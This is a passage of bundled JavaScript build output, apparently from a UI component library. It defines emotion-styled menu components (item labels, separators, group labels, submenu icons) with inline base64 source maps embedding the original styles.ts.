HRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkgJixcblx0W2FyaWEtZGlzYWJsZWQ9J3RydWUnXSAqOm5vdCggJHsgTWVudSB9ICkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG4iXX0= */"));
50274 var ItemLabel = /* @__PURE__ */ createStyled(component_default7, false ? {
50275 target: "e1wg7tti1"
50276 } : {
50277 target: "e1wg7tti1",
50278 label: "ItemLabel"
50279 })("font-size:", font("default.fontSize"), ";line-height:20px;color:inherit;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnVjJDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCR7IE1lbnUgfSkgJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCR7IE1lbnUgfSkgJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cCA9IHN0eWxlZCggQXJpYWtpdC5NZW51R3JvdXAgKWBcblx0LyogSWdub3JlIHRoaXMgZWxlbWVudCB3aGVuIGNhbGN1bGF0aW5nIHRoZSBsYXlvdXQuIFVzZWZ1bCBmb3Igc3ViZ3JpZCAqL1xuXHRkaXNwbGF5OiBjb250ZW50cztcbmA7XG5cbmV4cG9ydCBjb25zdCBHcm91cExhYmVsID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cExhYmVsIClgXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgc3BhY2UoIDMgKSB9O1xuXHRwYWRkaW5nLWJsb2NrLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRwYWRkaW5nLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFNlcGFyYXRvciA9IHN0eWxlZCggQXJpYWtpdC5NZW51U2VwYXJhdG9yICk8XG5cdFBpY2s8IENvbnRleHRQcm9wcywgJ3ZhcmlhbnQnID5cbj5gXG5cdC8qIE9jY3VweSB0aGUgd2lkdGggb2YgYWxsIGdyaWQgY29sdW1ucyAoaWUuIGZ1bGwgd2lkdGgpICovXG5cdGdyaWQtY29sdW1uOiAxIC8gLTE7XG5cblx0Ym9yZGVyOiBub25lO1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyAoIHByb3BzICkgPT5cblx0XHRwcm9wcy52YXJpYW50ID09PSAndG9vbGJhcidcblx0XHRcdD8gVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUlxuXHRcdFx0OiBESVZJREVSX0NPTE9SIH07XG5cdC8qIEFsaWduIHdpdGggbWVudSBpdGVtcycgY29udGVudCAqL1xuXHRtYXJnaW4tYmxvY2s6ICR7IHNwYWNlKCAyICkgfTtcblx0bWFyZ2luLWlubGluZTogJHsgSVRFTV9QQURESU5HX0lOTElORSB9O1xuXG5cdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VibWVudUNoZXZyb25JY29uID0gc3R5bGVkKCBJY29uIClgXG5cdHdpZHRoOiAkeyBzcGFjZSggMS41ICkgfTtcblx0JHsgcnRsKFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgxKWAsXG5cdFx0fSxcblx0XHR7XG5cdFx0XHR0cmFuc2Zvcm06IGBzY2FsZVgoLTEpYCxcblx0XHR9XG5cdCkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtTGFiZWwgPSBzdHlsZWQoIFRydW5jYXRlIClgXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDIwcHg7XG5cdGNvbG9yOiBpbmhlcml0O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1IZWxwVGV4dCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnaGVscFRleHQuZm9udFNpemUnICkgfTtcblx0bGluZS1oZWlnaHQ6IDE2cHg7XG5cdGNvbG9yOiAkeyBMSUdIVEVSX1RFWFRfQ09MT1IgfTtcblx0b3ZlcmZsb3ctd3JhcDogYW55d2hlcmU7XG5cblx0W2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKSAqOm5vdCggJHsgTWVudSB9ICkg